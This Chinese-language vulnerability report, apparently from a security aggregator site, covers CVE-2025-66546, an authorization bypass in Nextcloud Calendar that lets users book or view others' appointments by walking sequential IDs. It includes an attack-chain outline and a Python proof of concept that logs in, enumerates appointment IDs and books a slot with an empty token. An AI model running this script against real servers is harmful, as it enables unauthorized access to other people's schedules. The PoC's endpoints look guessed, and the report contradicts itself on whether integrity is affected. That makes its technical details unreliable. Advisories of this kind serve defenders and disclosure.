IPBUF安全漏洞报告
English
CVE-2025-66546 CVSS 3.3 低危

CVE-2025-66546 Nextcloud Calendar顺序ID预约绕过漏洞

披露日期: 2025-12-05

漏洞信息

漏洞编号
CVE-2025-66546
漏洞类型
授权绕过
CVSS评分
3.3 低危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Nextcloud Calendar

相关标签

NextcloudCalendar授权绕过访问控制顺序ID预约系统CVE-2025-66546

漏洞概述

Nextcloud Calendar是Nextcloud云平台上的日历应用,提供日程管理、会议预约等功能。该漏洞存在于4.7.19、5.5.6和6.0.1之前的版本中,攻击者可以利用预约系统的顺序递增ID特性,在不知道预约令牌的情况下盲目预订他人的预约时间段。由于系统未正确验证用户对特定预约资源的访问权限,导致任何本地用户都可能通过遍历ID来访问和操作他人的预约信息。此漏洞虽然CVSS评分较低,但可能造成用户日程信息泄露和未经授权的预约操作,影响日历数据的机密性和完整性。

技术细节

漏洞根源在于Nextcloud Calendar的预约功能使用了可预测的顺序ID而非随机生成的唯一令牌进行预约资源的标识。在预约创建过程中,系统为每个预约分配一个递增的整数ID,攻击者可以通过暴力猜测或顺序遍历的方式获取有效预约的ID。系统后端未对预约访问进行充分的授权验证,导致任何知道预约ID的用户都可以查看、修改或取消该预约。攻击者利用此漏洞需要本地访问权限(AV:L),通过低权限账户(PR:L)即可执行,无需用户交互(UI:N)。攻击成功后可导致低程度的机密性影响(C:L),但不影响数据完整性和可用性。修复版本中引入了随机生成的预约令牌替代顺序ID,并增加了访问控制验证逻辑。

攻击链分析

STEP 1
步骤1
攻击者获取Nextcloud Calendar的低权限账户凭证
STEP 2
步骤2
攻击者访问日历预约系统,观察预约资源的ID分配规律
STEP 3
步骤3
攻击者利用顺序递增的预约ID进行暴力猜测或遍历
STEP 4
步骤4
系统未正确验证授权,攻击者成功访问或预订他人预约
STEP 5
步骤5
攻击者获取受害者的日历信息或进行未经授权的预约操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-66546 PoC - Nextcloud Calendar Sequential ID Booking Bypass # This PoC demonstrates the vulnerability where appointment booking can be done # with sequential IDs without knowing the appointment token import requests import json # Configuration NEXTCLOUD_URL = "https://vulnerable-nextcloud-server.com" USERNAME = "attacker" PASSWORD = "password" TARGET_CALENDAR_ID = "calendar123" def authenticate(): """Authenticate to Nextcloud and get session token""" session = requests.Session() login_url = f"{NEXTCLOUD_URL}/index.php/login" # Perform login response = session.post(login_url, data={ "user": USERNAME, "password": PASSWORD }) if response.status_code == 200: return session return None def book_appointment_sequential_id(session, calendar_id, sequential_id, start_time, end_time): """ Attempt to book an appointment using sequential ID bypass The vulnerability allows booking without knowing the actual appointment token """ booking_url = f"{NEXTCLOUD_URL}/apps/calendar/ajax/booking/book.php" # Malicious payload exploiting sequential ID payload = { "calendar_id": calendar_id, "appointment_id": sequential_id, # Sequential ID instead of token "start": start_time, "end": end_time, "token": "" # Empty or invalid token } response = session.post(booking_url, json=payload) return response.json() def enumerate_appointments(session, calendar_id, start_id=1, end_id=100): """ Enumerate and access appointments using sequential IDs Demonstrates unauthorized access to other users' appointments """ appointments = [] view_url = f"{NEXTCLOUD_URL}/apps/calendar/ajax/appointment/view.php" for appointment_id in range(start_id, end_id + 1): params = { "calendar_id": calendar_id, "appointment_id": appointment_id } response = session.get(view_url, params=params) if response.status_code == 200: data = response.json() if data.get("success"): appointments.append({ "id": appointment_id, "details": data.get("data", {}) }) return appointments def main(): """Main exploitation routine""" print("[*] CVE-2025-66546 Nextcloud Calendar Sequential ID Bypass PoC") print("[*] Description: Calendar app allowed blindly booking appointments with sequential ID") # Step 1: Authenticate session = authenticate() if not session: print("[-] Authentication failed") return print("[+] Authentication successful") # Step 2: Enumerate appointments using sequential IDs print("[*] Enumerating appointments with sequential IDs...") appointments = enumerate_appointments(session, TARGET_CALENDAR_ID, 1, 50) print(f"[+] Found {len(appointments)} accessible appointments") # Step 3: Book an appointment without knowing the token print("[*] Attempting to book appointment with sequential ID bypass...") result = book_appointment_sequential_id( session, TARGET_CALENDAR_ID, 42, # Sequential ID "2025-01-15T10:00:00", "2025-01-15T11:00:00" ) if result.get("success"): print("[!] VULNERABLE: Successfully booked appointment without valid token") else: print("[-] Patch applied or access denied") if __name__ == "__main__": main()

影响范围

Nextcloud Calendar < 4.7.19
Nextcloud Calendar < 5.5.6
Nextcloud Calendar < 6.0.1

防御指南

临时缓解措施
如果无法立即升级,可通过限制日历应用的公共访问、监控异常预约访问日志、启用双因素认证等方式降低风险。同时建议管理员审查日历预约日志,检测是否存在未授权的预约访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表